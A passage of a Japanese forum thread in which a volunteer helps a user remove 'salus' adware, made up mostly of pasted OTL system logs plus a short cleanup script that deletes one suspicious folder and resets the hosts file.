"{E176A2F9-D73D-494F-B624-D293E102F075}" = lport=443 | protocol=6 | dir=in | app=c:\program files (x86)\nvidia corporation\netservice\nvnetworkservice.exe |
"{E304E3D3-3FAC-4047-B645-C2C25BA86B2A}" = lport=443 | protocol=6 | dir=in | app=c:\program files (x86)\nvidia corporation\netservice\nvnetworkservice.exe |
"{E366C882-8AC2-4032-935C-EF43041A679E}" = rport=445 | protocol=6 | dir=out | app=system |
"{E3E21E67-ED39-4B0E-8DF0-1B2BBB7BC268}" = lport=137 | protocol=17 | dir=in | app=system |
"{E93C5B74-4934-41C9-8CA0-2AD4E53B68F0}" = lport=5353 | protocol=17 | dir=in | app=c:\program files\nvidia corporation\nvstreamsrv\nvstreamsvc.exe |
"{ECF6BC5C-5D87-4B1C-AF05-3F4A67274DBC}" = lport=47991 | protocol=6 | dir=in | app=c:\program files\nvidia corporation\nvstreamsrv\nvstreamer.exe |
"{ED487BA0-12A8-48AA-B9D6-CAB7B0A8CBE9}" = rport=2177 | protocol=6 | dir=out | svc=qwave | app=%systemroot%\system32\svchost.exe |
"{EF0B308B-84F9-49F5-8996-86E329B99044}" = lport=47991 | protocol=6 | dir=in | app=c:\program files\nvidia corporation\nvstreamsrv\nvstreamer.exe |
"{F50EBA9D-38E3-4E60-9190-13F7537E7E96}" = lport=5353 | protocol=17 | dir=in | app=c:\program files\nvidia corporation\nvstreamsrv\nvstreamsvc.exe |
"{F971F21C-774C-441E-8011-E70381979053}" = rport=137 | protocol=17 | dir=out | app=system |
"{FA7F377C-C6D9-4C9E-B1E2-05CC4BF614BF}" = lport=5353 | protocol=17 | dir=in | app=c:\program files\nvidia corporation\nvstreamsrv\nvstreamsvc.exe |
"{FF7FF615-0A44-4AD4-9C08-9F31AB4396EA}" = lport=80 | protocol=6 | dir=in | app=c:\program files (x86)\nvidia corporation\netservice\nvnetworkservice.exe |
"{FFD2325C-D01F-439C-9C22-C2ED8597DAF2}" = rport=139 | protocol=6 | dir=out | app=system |

[color=#E56717]========== Vista Active Application Exception List ==========[/color]

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\FirewallRules]
"{02B28AB9-8F0A-4B48-9ACC-202656905E1F}" = protocol=17 | dir=out | app=%programfiles%\windows media player\wmplayer.exe |
"{02E8E305-D58C-4165-9CAE-E49A5C479B9A}" = dir=in | app=c:\program files (x86)\windows live\contacts\wlcomm.exe |
"{03D898C7-C459-441C-9431-3C50709A66ED}" = dir=in | app=d:\program files (x86)\cyberlink\powerdvd14\powerdvd14\powerdvd14agent.exe |
"{075D058E-364D-4D82-AD45-18C6ADB70B59}" = protocol=17 | dir=in | app=c:\program files (x86)\mozilla firefox\firefox.exe |
"{1276944B-DB48-48C2-BCDD-F65D18C5AA42}" = dir=in | app=d:\program files (x86)\cyberlink\powerdvd10\powerdvd10\powerdvd10.exe |
"{2173EBBA-BB86-4312-86E6-6119BCC1C296}" = protocol=17 | dir=out | app=%programfiles%\windows media player\wmplayer.exe |
"{26547326-4EAD-4001-8535-D8DB51140611}" = protocol=1 | dir=in | name=@firewallapi.dll,-28543 |
"{2E070D7C-F9D3-40B4-92F6-F2F5CFC0E4FE}" = protocol=1 | dir=out | name=@firewallapi.dll,-28544 |
"{3B9DA33F-2ED5-4141-A048-56FB3CEFF8AE}" = dir=in | app=d:\program files (x86)\cyberlink\powerdvd14\powerdvd14\kernel\dms\clmsserverpdvd14.exe |
"{3E8B03AB-28EA-4E94-9D3F-87CE0D3D2730}" = protocol=6 | dir=in | app=c:\program files (x86)\bonjour\mdnsresponder.exe |
"{42A66450-74B1-4231-B260-6FC2FE6A8CAF}" = protocol=6 | dir=in | app=d:\program files (x86)\squareenix\final fantasy xiv - a realm reborn\boot\ffxivboot.exe |
"{4EB786EA-B985-4859-813F-2EE83D2D5E30}" = dir=in | app=d:\program files (x86)\cyberlink\powerdvd14\powerdvd14\movie\powerdvdmovie.exe |
"{4EDFE830-473F-4144-8C71-019155DA9169}" = protocol=17 | dir=in | app=c:\program files\bonjour\mdnsresponder.exe |
"{558A8E0E-1B11-4B33-A3B0-B07EFAFCD11F}" = protocol=17 | dir=in | app=d:\program files (x86)\microsoft office\office14\groove.exe |
"{58B5003F-FCDF-4AC0-9952-8D7E331176EF}" = protocol=6 | dir=in | app=d:\program files (x86)\squareenix\final fantasy xiv - a realm reborn\boot\ffxivlauncher.exe |
"{5F670E0C-516A-4786-B74F-E34CDF957F0F}" = protocol=6 | dir=out | app=%programfiles%\windows media player\wmplayer.exe |
"{6006AF37-2E3E-413C-8A03-1D2A56A6D294}" = protocol=17 | dir=out | app=%programfiles%\windows media player\wmpnetwk.exe |
"{6059821F-4844-4309-AE3F-2510792B4A67}" = protocol=17 | dir=out | app=%programfiles(x86)%\windows media player\wmplayer.exe |
"{6904F93D-B4C9-4834-8F3C-BAEC8867950A}" = protocol=6 | dir=in | app=d:\program files (x86)\microsoft office\office14\groove.exe |
"{6BE1A5C4-2692-488D-A949-7CF7D50A9EBF}" = protocol=6 | dir=out | app=system |
"{712F5656-2E4D-407C-88EF-8F3030F3174B}" = dir=in | app=d:\program files (x86)\cyberlink\powerdvd8\powerdvd8.exe |
"{91F3EDFF-3827-49E4-9C83-933C74A95D1F}" = protocol=6 | dir=in | app=c:\program files\bonjour\mdnsresponder.exe |
"{9508EC03-9AA9-414D-849B-51E6B3D6959F}" = protocol=17 | dir=in | app=d:\program files (x86)\squareenix\final fantasy xiv - a realm reborn\boot\ffxivlauncher.exe |
"{9C526806-A6DF-4194-9596-C60CF3236B8F}" = protocol=6 | dir=in | app=%programfiles%\windows media player\wmpnetwk.exe |
"{A85A4353-81ED-4123-A34B-EAD9B1B98A27}" = protocol=6 | dir=out | app=%programfiles%\windows media player\wmpnetwk.exe |
"{B3E43FDE-E1B9-4DEC-A61E-EF00990EC975}" = protocol=17 | dir=in | app=%programfiles(x86)%\windows media player\wmplayer.exe |
"{B4C32B58-0304-4468-9018-BA15222B71D0}" = protocol=17 | dir=in | app=d:\program files (x86)\squareenix\final fantasy xiv - a realm reborn\boot\ffxivboot.exe |
"{BA1845F6-45BC-4729-9D13-E619389B1C00}" = protocol=17 | dir=in | app=%programfiles%\windows media player\wmplayer.exe |
"{BA713CC2-53BB-443A-A5B1-58A7CB0C26FF}" = protocol=58 | dir=in | name=@firewallapi.dll,-28545 |
"{BABAA60C-D871-40B8-A3FE-191D86F2CAB3}" = protocol=17 | dir=in | app=%programfiles%\windows media player\wmplayer.exe |
"{C2BBCF92-9714-458E-9E6A-318F1000EA0A}" = dir=in | app=c:\program files\itunes\itunes.exe |
"{C57F17CD-D01A-4ECF-9B5E-06C5771CAB4D}" = protocol=6 | dir=in | app=c:\program files (x86)\mozilla firefox\firefox.exe |
"{CFFD0E85-113A-43DB-BEA3-415495F40837}" = protocol=17 | dir=in | app=c:\program files (x86)\bonjour\mdnsresponder.exe |
"{D02CB787-8DCE-4BD2-8F19-34C2A6C07DDF}" = protocol=6 | dir=out | app=%programfiles%\windows media player\wmplayer.exe |
"{DAED99F4-0137-4B80-87FD-28E89B4F6F16}" = protocol=6 | dir=out | svc=upnphost | app=%systemroot%\system32\svchost.exe |
"{E381853E-6475-41F2-BF47-0341D96E032C}" = protocol=58 | dir=out | name=@firewallapi.dll,-28546 |
"{E8CC54C7-C8DA-4D8D-A3FB-5B202777BA0D}" = dir=in | app=d:\program files (x86)\cyberlink\powerdvd14\powerdvd14\movie\powerdvd cinema\powerdvdcinema.exe |
"{F35EDE52-F827-4B4D-9CDF-677EAECB0A64}" = dir=in | app=d:\program files (x86)\cyberlink\powerdvd10\powerdvd10\powerdvd cinema\powerdvdcinema10.exe |
"{F3E383D7-952F-487C-AF58-A09575D1EB59}" = dir=in | app=d:\program files (x86)\cyberlink\powerdvd14\powerdvd14\powerdvd.exe |
"{F5D28A97-DCDC-4D2D-8B39-D26843E6877F}" = protocol=17 | dir=in | app=%programfiles%\windows media player\wmpnetwk.exe |
"{F97308CA-F86F-4A5B-BFC9-74E55831E4CA}" = protocol=6 | dir=out | app=%programfiles(x86)%\windows media player\wmplayer.exe |

[color=#E56717]========== HKEY_LOCAL_MACHINE Uninstall List ==========[/color]
  • mari
  • 2015/03/29 (Sun) 09:47:02
Re: salusの駆除をお助けください
64bit: [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall]
"{0DF7096B-715A-4233-8633-C7A16ED6D616}" = Apple Application Support(64 ビット)
"{17DEA095-8EE1-49A2-AC5A-9663DB098FA9}" = CSR Harmony Wireless Software Stack
"{1D8E6291-B0D5-35EC-8441-6616F567A0F7}" = Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219
"{1E9FC118-651D-4934-97BE-E53CAE5C7D45}" = Microsoft_VC80_MFCLOC_x86_x64
"{26784146-6E05-3FF9-9335-786C7C0FB5BE}" = Microsoft .NET Framework 4.5.2
"{4569AD91-47F4-4D9E-8FC9-717EC32D7AE1}" = Microsoft_VC80_CRT_x86_x64
"{4B6C7001-C7D6-3710-913E-5BC23FCE91E6}" = Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.4148
"{5FCE6D76-F5DC-37AB-B2B8-22AB8CEDB1D4}" = Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161
"{63B4D665-34F5-333A-BE00-6DDE0CBD4A6C}" = Microsoft .NET Framework 4.5.2 (JPN)
"{6E3610B2-430D-4EB0-81E3-2B57E8B9DE8D}" = Bonjour
"{8557397C-A42D-486F-97B3-A2CBC2372593}" = Microsoft_VC90_ATL_x86_x64
"{90140000-0028-0411-1000-0000000FF1CE}" = Microsoft Office IME (Japanese) 2010
"{90140000-002A-0000-1000-0000000FF1CE}" = Microsoft Office Office 64-bit Components 2010
"{90140000-002A-0411-1000-0000000FF1CE}" = Microsoft Office Shared 64-bit MUI (Japanese) 2010
"{92A3CA0D-55CD-4C5D-BA95-5C2600C20F26}" = Microsoft_VC90_CRT_x86_x64
"{92FB6C44-E685-45AD-9B20-CADF4CABA132} - 1033" = Microsoft .NET Framework 4.5.2
"{92FB6C44-E685-45AD-9B20-CADF4CABA132} - 1041" = Microsoft .NET Framework 4.5.2 (日本語)
"{9495AEB4-AB97-39DE-8C42-806EEF75ECA7}" = Microsoft Visual Studio 2010 Tools for Office Runtime (x64)
"{95120000-00B9-0409-1000-0000000FF1CE}" = Microsoft Application Error Reporting
"{996D32B6-F629-4764-894B-CB24D9C19051}" = Microsoft Security Client
"{A472B9E4-0AFF-4F7B-B25D-F64F8E928AAB}" = Microsoft_VC90_MFC_x86_x64
"{ad8a2fa1-06e7-4b0d-927d-6e54b3d31028}" = Microsoft Visual C++ 2005 Redistributable (x64)
"{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_Display.3DVision" = NVIDIA 3D Vision ドライバー 333.11
"{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_Display.ControlPanel" = NVIDIA コントロール パネル 333.11
"{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_Display.Driver" = NVIDIA グラフィックス ドライバー 333.11
"{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_Display.NView" = NVIDIA nView 141.13
"{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_Display.NVIRUSB" = NVIDIA 3D Vision コントローラー ドライバー 332.21
"{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_Display.NVWMI" = NVIDIA WMI 2.16.0
"{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_HDAudio.Driver" = NVIDIA HD オーディオ ドライバー 1.3.30.1
"{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_installer" = NVIDIA Install Application
"{C4123106-B685-48E6-B9BD-E4F911841EB4}" = Apple Mobile Device Support
"{C6E57DC0-5699-47D4-9263-CEE00A4BB1FC}" = Windows Live MIME IFilter
"{C8C1BAD5-54E6-4146-AD07-3A8AD36569C3}" = Microsoft_VC80_MFC_x86_x64
"{C91DCB72-F5BB-410D-A91A-314F5D1B4284}" = Broadcom NetLink Controller
"{CE52672C-A0E9-4450-8875-88A221D5CD50}" = Windows Live ID Sign-in Assistant
"{D227565A-0033-40AD-89BA-653A205CDC11}" = iTunes
"{D2837730-4960-3B35-8088-201387FD3BDB}" = Microsoft Visual Studio 2010 Tools for Office Runtime (x64) Language Pack - JPN
"{E9FA781F-3E80-4399-825A-AD3E11C28C77}" = MSVCRT110_amd64
"ASRock 3TB+ Unlocker_is1" = ASRock 3TB+ Unlocker v1.1
"ASRock App Charger_is1" = ASRock App Charger v1.0.6
"ASRock XFast RAM_is1" = ASRock XFast RAM v2.0.28
"CCleaner" = CCleaner
"CPUID ROG CPU-Z_is1" = CPUID ROG CPU-Z 1.63
"Microsoft Security Client" = Microsoft Security Essentials
"Microsoft Visual Studio 2010 Tools for Office Runtime (x64)" = Microsoft Visual Studio 2010 Tools for Office Runtime (x64)
"Microsoft Visual Studio 2010 Tools for Office Runtime (x64) Language Pack - JPN" = Microsoft Visual Studio 2010 Tools for Office Runtime (x64) Language Pack - 日本語
"sp6" = ロジクール SetPoint 6.52
"XFast LAN" = XFast LAN v9.05

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall]
"{024521CF-C07E-4F8E-8481-0D75695E03AF}" = PxMergeModule
"{033E378E-6AD3-4AD5-BDEB-CBD69B31046C}" = Microsoft_VC90_ATL_x86
"{045D4EDF-8DC1-43D7-BAFC-7AAEF99C7168}" = Adobe Creative Suite 6 Production Premium
"{0687525F-1035-41A2-8198-C02A82EF19E1}" = Sound Blaster Recon3Di
"{08D2E121-7F6A-43EB-97FD-629B44903403}" = Microsoft_VC90_CRT_x86
"{0F3647F8-E51D-4FCC-8862-9A8D0C5ACF25}" = Microsoft_VC80_ATL_x86
"{111EE7DF-FC45-40C7-98A7-753AC46B12FB}" = QuickTime 7
"{185F9795-9663-4F13-9EF9-307A282ADB5A}" = ph
"{1F1C2DFC-2D24-3E06-BCB8-725134ADF989}" = Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.4148
"{24758B1D-9345-4538-A69A-05660F63A296}" = Junk Mail filter update
"{2A075BB4-E976-4278-BF3F-E5C6945D84C0}" = bl
"{2A87D48D-3FDF-41fd-97CD-A1E370EFFFE2}" = CyberLink Power2Go 8
"{2B41E132-07DF-4925-A3D3-F2D1765CCDFE}" = FINAL FANTASY XIV - A Realm Reborn
"{2E037507-E75B-4AAE-A419-2AE25C87B6A2}" = Windows Live Writer Resources
"{2FD797FD-1349-4E60-824C-CFECA680FFF0}" = Sound Blaster EVO Zx/ZxR
"{324F76CC-D8DD-4D87-B77D-D4AF5E1AA7B3}" = CyberLink WaveEditor 2
"{32C8E300-BDB4-4398-92C2-E9B7D8A233DB}" = CyberLink PowerDVD 14
"{3AF095EF-23B3-4C6A-BBA1-4C1EB663DAF8}" = TI USB3 Host Driver
"{3EE9BCAE-E9A9-45E5-9B1C-83A4D357E05C}" = eReg
"{40BF1E83-20EB-11D8-97C5-0009C5020658}" = Power2Go
"{4260CAAE-D108-4223-A1C5-96B67062FE86}" = Windows Live Installer
"{447CDCE5-F555-429B-BFA6-642C3C6D684F}" = Apple Application Support(32 ビット)
"{46EDCFA5-7EDB-46A9-B093-1C6237470CEC}" = 3DMark 11
"{56C049BE-79E9-4502-BEA7-9754A3E60F9B}" = neroxml
"{59307833-CB98-4440-B644-0CD352F61907}" = Windows Live PIMT Platform
"{5D9A58F8-ADE0-431A-BB8D-AD248683C13E}" = Windows Live メール
"{5DB1DF0C-AABC-4362-8A6D-CEFDFB036E41}" = Suite
"{60EC980A-BDA2-4CB6-A427-B07A5498B4CA}" = Google Update Helper
"{635FED5B-2C6D-49BE-87E6-7A6FCD22BC5A}" = Microsoft_VC90_MFC_x86
"{65153EA5-8B6E-43B6-857B-C6E4FC25798A}" = Intel(R) Management Engine Components
"{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}" = Microsoft Visual C++ 2005 Redistributable
"{7299052b-02a4-4627-81f2-1818da5d550d}" = Microsoft Visual C++ 2005 Redistributable
"{72D9236D-C6EA-4DA6-A18C-CC24521A70D4}" = Windows Live Mail
"{789A5B64-9DD9-4BA5-915A-F0FC0A1B7BFE}" = Apple Software Update
"{7B0AEAF4-3C01-4169-9036-45573CF767D6}" = Windows Live Essentials
"{837b34e3-7c30-493c-8f6a-2b0f04e2912c}" = Microsoft Visual C++ 2005 Redistributable
"{8DD46C6A-0056-4FEC-B70A-28BB16A1F11F}" = MSVCRT
"{8E14DDC8-EA60-4E18-B3E3-1937104D5BDA}" = MSVCRT110
"{8F5320EB-DC7C-46EF-9ACC-A58669001BDE}" = Photo Common
"{8F66BFDE-B213-48E2-93EF-7151277A2916}" = Windows Live SOXE Definitions
"{90140000-0011-0000-0000-0000000FF1CE}" = Microsoft Office Professional Plus 2010
"{90140000-0011-0000-0000-0000000FF1CE}_Office14.PROPLUS_{037231BF-E912-448A-A966-C2B37570EBF9}" =
"{90140000-0015-0411-0000-0000000FF1CE}" = Microsoft Office Access MUI (Japanese) 2010
"{90140000-0016-0411-0000-0000000FF1CE}" = Microsoft Office Excel MUI (Japanese) 2010
"{90140000-0018-0411-0000-0000000FF1CE}" = Microsoft Office PowerPoint MUI (Japanese) 2010
"{90140000-0019-0411-0000-0000000FF1CE}" = Microsoft Office Publisher MUI (Japanese) 2010
"{90140000-001A-0411-0000-0000000FF1CE}" = Microsoft Office Outlook MUI (Japanese) 2010
"{90140000-001B-0411-0000-0000000FF1CE}" = Microsoft Office Word MUI (Japanese) 2010
"{90140000-001F-0409-0000-0000000FF1CE}" = Microsoft Office Proof (English) 2010
"{90140000-001F-0411-0000-0000000FF1CE}" = Microsoft Office Proof (Japanese) 2010
"{90140000-0028-0411-0000-0000000FF1CE}" = Microsoft Office IME (Japanese) 2010
"{90140000-002C-0411-0000-0000000FF1CE}" = Microsoft Office Proofing (Japanese) 2010
"{90140000-0044-0411-0000-0000000FF1CE}" = Microsoft Office InfoPath MUI (Japanese) 2010
"{90140000-006E-0411-0000-0000000FF1CE}" = Microsoft Office Shared MUI (Japanese) 2010
"{90140000-00A1-0411-0000-0000000FF1CE}" = Microsoft Office OneNote MUI (Japanese) 2010
"{90140000-00BA-0411-0000-0000000FF1CE}" = Microsoft Office Groove MUI (Japanese) 2010
"{92D58719-BBC1-4CC3-A08B-56C9E884CC2C}" = Microsoft_VC80_CRT_x86
"{933B4015-4618-4716-A828-5289FC03165F}" = VC80CRTRedist - 8.0.50727.6195
"{94532CD5-C66D-49E3-9131-5FB04D7647A1}" = Windows Live UX Platform
"{9797D7BA-A333-4DF1-AF55-AC745D216EDB}" = Windows Live Writer
"{983FA94A-A7DD-40B1-B7F9-F45D2B4FD1DE}" = Windows Live Photo Common
"{9A25302D-30C0-39D9-BD6F-21E6EC160475}" = Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.17
"{9BE518E6-ECC6-35A9-88E4-87755C07200F}" = Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161
"{A9FFEC6C-9C44-4597-8E23-EDD78BF5D0B2}" = Windows Live Communications Platform
"{ABF2A330-637C-45FC-A1EF-AAA803FB6FE5}" = スタートアップツール
"{AF37176A-78CA-545B-34EF-8B6A21514DD1}" = Adobe Help Manager
"{BEE64C14-BEF1-4610-8A68-A16EAA47B882}" = Futuremark SystemInfo
"{C40C3C3D-97CF-44B5-836C-766E374464B3}" = 3DMark Vantage
"{C87DF7BB-4F5C-4BBE-B041-A59FFF4A1D07}" = Windows Live SOXE
"{D0B44725-3666-492D-BEF6-587A14BD9BD9}" = MSVCRT_amd64
"{D1A19B02-817E-4296-A45B-07853FD74D57}" = Microsoft_VC80_MFC_x86
"{D55BF3B9-AE2D-45BB-9E3D-2426EE92ED08}" = Sound Blaster EVO Zx/ZxR Extras
"{D92BBB52-82FF-42ED-8A3C-4E062F944AB7}" = Microsoft_VC80_MFCLOC_x86
"{DE3A9DC5-9A5D-6485-9662-347162C7E4CA}" = 日本語 App Name
"{E09C4DB7-630C-4F06-A631-8EA7239923AF}" = D3DX10
"{E417A01A-D4DB-43FD-891D-D615E95929A3}" = Sound Blaster Recon3Di Extras
"{ECE66592-E920-4C43-9D1C-9BC12483EC42}" = AdobePDFSettings11-new-ja_JP
"{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}" = Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219
"{F1A6C690-C12C-4E7A-B4BD-958678215418}" = 3DMark
"{F1FB514E-F90C-4CFC-B381-B2D98856FC0C}" = Windows Live UX Platform Language Pack
"{FE23D063-934D-4829-A0D8-00634CE79B4A}" = Adobe AIR
"Adobe AIR" = Adobe AIR
"Adobe Flash Player ActiveX" = Adobe Flash Player 17 ActiveX
"Adobe Flash Player NPAPI" = Adobe Flash Player 17 NPAPI
"ASRock eXtreme Tuner_is1" = ASRock eXtreme Tuner v0.1.382.1
"ASRock InstantBoot_is1" = ASRock InstantBoot v1.29
"chc.4875E02D9FB21EE389F73B8D1702B320485DF8CE.1" = Adobe Help Manager
"com.adobe.amp.4875E02D9FB21EE389F73B8D1702B320485DF8CE.1" = 日本語 App Name
"DivX Setup" = DivXセットアップ
"DVD Decrypter" = DVD Decrypter (Remove Only)
"Google Chrome" = Google Chrome
"InstallShield_{2A87D48D-3FDF-41fd-97CD-A1E370EFFFE2}" = CyberLink Power2Go 8
"InstallShield_{324F76CC-D8DD-4D87-B77D-D4AF5E1AA7B3}" = CyberLink WaveEditor 2
"InstallShield_{3AF095EF-23B3-4C6A-BBA1-4C1EB663DAF8}" = TI USB 3.0 Host Controller Driver
"IObitUninstall" = IObit Uninstaller
"MagicDisc 2.7.106" = MagicDisc 2.7.106
"Malwarebytes' Anti-Malware_is1" = Malwarebytes Anti-Malware version 1.75.0.1300
"Mozilla Firefox 36.0.4 (x86 ja)" = Mozilla Firefox 36.0.4 (x86 ja)
"MozillaMaintenanceService" = Mozilla Maintenance Service
"NVIDIAStereo" = NVIDIA Stereoscopic 3D Driver
"Office14.PROPLUS" = Microsoft Office Professional Plus 2010
"RemoteToolGuider.east_is1" = リモートサポートツール
"SoundEngine Free" = SoundEngine Free
"SysInfo" = Creative システム インフォメーション
"WinLiveSuite" = Windows Live Essentials
"WinRAR archiver" = WinRAR アーカイバ
"XFastUSB" = XFastUSB
"診断復旧ツール_is1" = 診断復旧ツール

[color=#E56717]========== HKEY_USERS Uninstall List ==========[/color]

[HKEY_USERS\S-1-5-21-557484673-2621240714-2065044319-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall]

[color=#E56717]========== Last 20 Event Log Errors ==========[/color]

[ Application Events ]
Error - 2015/03/28 17:28:27 | Computer Name = Tomohiko-PC | Source = Bonjour Service | ID = 100
Description = Task Scheduling Error: Continuously busy for more than a second

Error - 2015/03/28 17:28:27 | Computer Name = Tomohiko-PC | Source = Bonjour Service | ID = 100
Description = Task Scheduling Error: m->NextScheduledEvent 8003

Error - 2015/03/28 17:28:27 | Computer Name = Tomohiko-PC | Source = Bonjour Service | ID = 100
Description = Task Scheduling Error: m->NextScheduledSPRetry 8003

Error - 2015/03/28 20:09:33 | Computer Name = Tomohiko-PC | Source = Application Error | ID = 1000
Description = 障害が発生しているアプリケーション名: CsrBtOBEXService.exe、バージョン: 2.1.63.0、タイム スタンプ:
0x4f68683b 障害が発生しているモジュール名: CsrBtOBEXService.exe、バージョン: 2.1.63.0、タイム スタンプ: 0x4f68683b
例外コード:
0xc0000005 障害オフセット: 0x0000000000006f58 障害が発生しているプロセス ID: 0x734 障害が発生しているアプリケーションの開始時刻:
0x01d06995a469c996 障害が発生しているアプリケーション パス: D:\Program Files\CSR\CSR Harmony Wireless
Software Stack\CsrBtOBEXService.exe 障害が発生しているモジュール パス: D:\Program Files\CSR\CSR
Harmony Wireless Software Stack\CsrBtOBEXService.exe レポート ID: e004bc8a-d5a7-11e4-a9c4-bc5ff49688fb

Error - 2015/03/28 20:11:19 | Computer Name = Tomohiko-PC | Source = RasClient | ID = 20227
Description =

Error - 2015/03/28 20:11:39 | Computer Name = Tomohiko-PC | Source = RasClient | ID = 20227
Description =

Error - 2015/03/28 20:11:59 | Computer Name = Tomohiko-PC | Source = RasClient | ID = 20227
Description =

Error - 2015/03/28 20:15:34 | Computer Name = Tomohiko-PC | Source = Microsoft-Windows-LoadPerf | ID = 3012
Description = Performance 拡張カウンター プロバイダーを処理するときに、パフォーマンス レジストリ値のパフォーマンス文字列は壊れています。パフォーマンス
レジストリからの BaseIndex 値は、データ セクションの最初の DWORD で、LastCounter 値は、データ セクションの 2 番目の DWORD
で、LastHelp 値は、データ セクションの 3 番目の DWORD です。

Error - 2015/03/28 20:15:34 | Computer Name = Tomohiko-PC | Source = Microsoft-Windows-LoadPerf | ID = 3012
Description = Performance 拡張カウンター プロバイダーを処理するときに、パフォーマンス レジストリ値のパフォーマンス文字列は壊れています。パフォーマンス
レジストリからの BaseIndex 値は、データ セクションの最初の DWORD で、LastCounter 値は、データ セクションの 2 番目の DWORD
で、LastHelp 値は、データ セクションの 3 番目の DWORD です。

Error - 2015/03/28 20:15:34 | Computer Name = Tomohiko-PC | Source = Microsoft-Windows-LoadPerf | ID = 3011
Description = サービス WmiApRpl (WmiApRpl) のパフォーマンス カウンターの文字列をアンロードできませんでした。エラー コードがデータ
セクションの最初の DWORD に含まれています。

[ System Events ]
Error - 2015/03/28 16:37:34 | Computer Name = Tomohiko-PC | Source = Service Control Manager | ID = 7006
Description = ScRegSetValueExW 呼び出しは、FailureCommand について次のエラーで失敗しました: %%5

Error - 2015/03/28 17:28:57 | Computer Name = Tomohiko-PC | Source = BTHUSB | ID = 327697
Description = ローカルの Bluetooth アダプターは不明なエラーが発生したため、使用されません。ドライバーはアンロードされました。

Error - 2015/03/28 20:09:33 | Computer Name = Tomohiko-PC | Source = Service Control Manager | ID = 7034
Description = CSR OBEX Service サービスは予期せぬ原因により終了しました。このサービスの強制終了は 1 回目です。

Error - 2015/03/28 20:10:49 | Computer Name = Tomohiko-PC | Source = Service Control Manager | ID = 7000
Description = Router Centered サービスを、次のエラーが原因で開始できませんでした: %%2

Error - 2015/03/28 20:10:53 | Computer Name = Tomohiko-PC | Source = Microsoft Antimalware | ID = 3002
Description = %%860 リアルタイム保護機能でエラーが発生し、使用できなくなりました。 機能: %%886 エラー コード: 0x80070005 エラーの説明:
アクセスが拒否されました。 理由 %%892

Error - 2015/03/28 20:10:52 | Computer Name = Tomohiko-PC | Source = Service Control Manager | ID = 7000
Description = Universal USB Driver サービスを、次のエラーが原因で開始できませんでした: %%577

Error - 2015/03/28 20:10:52 | Computer Name = Tomohiko-PC | Source = Service Control Manager | ID = 7000
Description = Memory Key Series サービスを、次のエラーが原因で開始できませんでした: %%2

Error - 2015/03/28 20:10:53 | Computer Name = Tomohiko-PC | Source = Service Control Manager | ID = 7006
Description = ScRegSetValueExW 呼び出しは、Start について次のエラーで失敗しました: %%5

Error - 2015/03/28 20:20:48 | Computer Name = Tomohiko-PC | Source = Service Control Manager | ID = 7006
Description = ScRegSetValueExW 呼び出しは、Start について次のエラーで失敗しました: %%5

Error - 2015/03/28 20:20:49 | Computer Name = Tomohiko-PC | Source = Service Control Manager | ID = 7006
Description = ScRegSetValueExW 呼び出しは、FailureCommand について次のエラーで失敗しました: %%5


< End of report >
  • mari
  • 2015/03/29 (Sun) 09:47:43
ではOTLから一つ処置を
作業と報告、ご苦労様です。
FFのリフレッシュで不審拡張の掃除はできましたが、これはあくまで応急処置です。

そのあとのOTLログで、現在の状態も見えてきたので続きの処置をしましょう。
といってもOTLログで現在見えているのはひとつだけみたいなのですぐにできるとは思いますが。

先のOTL作業時の要領でまた下記のスクリプトを使って「Run fix」してください。
処置ができたらまたそのログとともに状態報をレスください
------------------------------------------
:OTL
[2015/03/15 10:05:57 | 000,000,000 | ---D | C] -- C:\ProgramData\E1864A66-75E3-486a-BD95-D1B7D99A84A7

:Files
C:\ProgramData\E1864A66-75E3-486a-BD95-D1B7D99A84A7

:Commands
[purity]
[resethosts]
[emptytemp]
[createrestorepoint]
[reboot]
------------------------------------------
  • 悪代官
  • 2015/03/29 (Sun) 16:03:29
Re: salusの駆除をお助けください
こんにちは。
引き続きでは御座いますが
OTLのログを貼らせて頂きます。
今のところ、安定をしているように感じます。
ご確認の程、何卒宜しくお願い致します!


All processes killed
========== OTL ==========
C:\ProgramData\E1864A66-75E3-486a-BD95-D1B7D99A84A7\x64\x64 folder moved successfully.
C:\ProgramData\E1864A66-75E3-486a-BD95-D1B7D99A84A7\x64 folder moved successfully.
C:\ProgramData\E1864A66-75E3-486a-BD95-D1B7D99A84A7 folder moved successfully.
========== FILES ==========
File\Folder C:\ProgramData\E1864A66-75E3-486a-BD95-D1B7D99A84A7 not found.
========== COMMANDS ==========
C:\Windows\System32\drivers\etc\Hosts moved successfully.
HOSTS file reset successfully

[EMPTYTEMP]

User: All Users

User: Default
->Temp folder emptied: 0 bytes
->Temporary Internet Files folder emptied: 0 bytes
->Flash cache emptied: 0 bytes

User: Default User
->Temp folder emptied: 0 bytes
->Temporary Internet Files folder emptied: 0 bytes
->Flash cache emptied: 0 bytes

User: Public

User: Tomohiko
->Temp folder emptied: 20644813 bytes
->Temporary Internet Files folder emptied: 57777951 bytes
->Java cache emptied: 0 bytes
->FireFox cache emptied: 3019650 bytes
->Google Chrome cache emptied: 365381410 bytes
->Flash cache emptied: 0 bytes

%systemdrive% .tmp files removed: 0 bytes
%systemroot% .tmp files removed: 0 bytes
%systemroot%\System32 .tmp files removed: 0 bytes
%systemroot%\System32 (64bit) .tmp files removed: 0 bytes
%systemroot%\System32\drivers .tmp files removed: 0 bytes
